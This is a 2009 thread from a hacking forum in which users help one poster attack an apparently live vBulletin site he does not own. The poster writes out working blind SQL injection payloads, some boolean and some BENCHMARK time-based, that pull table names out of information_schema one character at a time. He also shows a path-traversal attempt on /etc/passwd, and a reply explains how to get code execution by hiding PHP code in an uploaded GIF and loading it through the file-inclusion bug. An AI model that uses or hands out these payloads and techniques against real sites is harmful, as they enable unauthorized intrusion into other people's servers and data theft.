|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Find DB prefix |
|
Posted: Sat May 09, 2009 6:41 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Ok, here is the thing:
I have a SQL injection bug in a vb forum, but can't proceed without knowing the prefix of the tables, and already tried all possible prefix's without any luck.
I have a LFI bug in this forum too, but don't have any ideia on how to use this to get the tb prefix.
Already tried to load the config.php, but the page loads ok when i try, and the /etc/passwd gives me this error:
Quote: | Fatal error: Can't load folder/form/../../../../../../../../../../../../../../../../../../etc/passwd, open_basedir restriction. in /home/blabla/public_html/forum/script.php on line 298 |
If I can cause an error in the DB maybe the VB will show me the prefix in the error, but don't have any idea on how... |
|
|
|
|
Posted: Sat May 09, 2009 6:43 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
on the sql injection you try using information_schema.tables yet? |
|
|
|
|
Posted: Sat May 09, 2009 8:41 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
No, but maybe works, but will need to re-code the exploit.
Can't test right now, the site is off =/.
I can try to bruteforce the prefix too, but that will take ages and the server is slow =/ |
|
|
|
|
Posted: Mon May 11, 2009 2:11 am |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Ok, the server is back online, i tried to fetch the prefix using information_schema and it's working fine, i will re-code the exploit now.
Just for curiosity if someone wants, i'm doing:
Code: | %27 AND IF((SELECT length(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+ |
0x2575736572 = ?%user
After get the length:
Code: | %27 AND IF((SELECT ORD(SUBSTR(table_name,[$POS],1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+ |
|
|
|
|
|
|
|
|
|
Posted: Mon May 11, 2009 12:17 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
Hmmm, i have a little problem.
I got it, nvm...
Just for curiosity, why the first one works and the second i get error?
Code: | ' AND IF((SELECT ORD(SUBSTR(length(table_name),1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+ |
Code: | ' AND IF((SELECT 1,1 FROM INFORMATION_SCHEMA.TABLES WHERE ORD(SUBSTR(length(table_name) AND TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,0)--+ |
Other thing, the benchmark is not working as expected:
Code: | ' AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,BENCHMARK(1,MD5('lol')),1)--+ |
I'm getting error, then tried:
Code: | ' OR 1=1 AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,BENCHMARK(1000000,MD5('lol')),1)--+ |
But the benchmark don't run =/ |
|
|
|
|
|
|
|
|
Posted: Wed May 13, 2009 5:14 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
No one? :9
|
|
|
|
|
Posted: Wed May 13, 2009 5:24 pm |
|
|
-AO- |
Advanced user |
|
|
Joined: Jul 15, 2008 |
Posts: 205 |
Location: United States |
|
|
|
|
|
|
It's probably because the server is filtering single quotes... use mysql hex encoder
waraxe.us/sql-char-encoder.html
Union isn't working?
Also, you can upload a forum gif to your profile with some php code in it and include that image from the LFI. |
|
|
|
|
Posted: Wed May 13, 2009 6:20 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
No, he is not filtering, the query:
Code: | ' AND IF((SELECT ORD(SUBSTR(table_name,1,1)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 0x2575736572 ORDER BY table_name ASC LIMIT 0,1)>1,1,1)--+ |
Is running fine, nps, the problem is when i use benchmark!.
Quote: | upload a forum gif to your profile with some php code |
Vb will allow that? |
|
|
|
|
Posted: Wed May 13, 2009 10:34 pm |
|
|
-AO- |
Advanced user |
|
|
Joined: Jul 15, 2008 |
Posts: 205 |
Location: United States |
|
|
|
|
|
|
yes,
open a gif image in notepad... at the bottom put your code.
save as .gif like normal.
include it and code will be ran. |
|
|
|
|
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|